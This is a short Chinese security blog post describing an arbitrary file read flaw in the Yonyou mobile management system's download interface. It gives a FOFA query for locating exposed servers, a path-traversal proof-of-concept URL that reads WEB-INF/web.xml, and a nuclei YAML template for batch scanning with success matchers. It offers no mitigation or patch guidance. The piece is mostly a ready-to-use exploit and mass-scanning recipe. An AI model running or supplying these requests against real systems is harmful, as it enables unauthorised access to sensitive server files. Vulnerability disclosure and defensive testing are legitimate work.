用友移动管理系统download任意文件读取漏洞

发布时间 2023-10-14 21:22:33作者: 学安全的小白

漏洞简介

用友移动管理系统的download接口存在任意文件读取漏洞,攻击者可以利用该漏洞读取服务器上的敏感文件。

漏洞复现

fofa语法:app="用友-移动系统管理"
登录页面如下:

POC:/mobsm/common/download?path=\..\webapps\nc_web\WEB-INF\web.xml

nuclei批量yaml文件

id: yonyou_yidong_download_fileread
info:
  name: 用友移动管理系统download任意文件读取漏洞
  author: mhb17
  severity: high
  description: description
  reference:
    - https://
  tags: fileread
requests:
  - raw:
      - |+
        GET /mobsm/common/download?path=\..\webapps\nc_web\WEB-INF\web.xml HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <servlet-name>
      - type: word
        part: body
        words:
          - <?xml
      - type: word
        part: header
        words:
          - '200'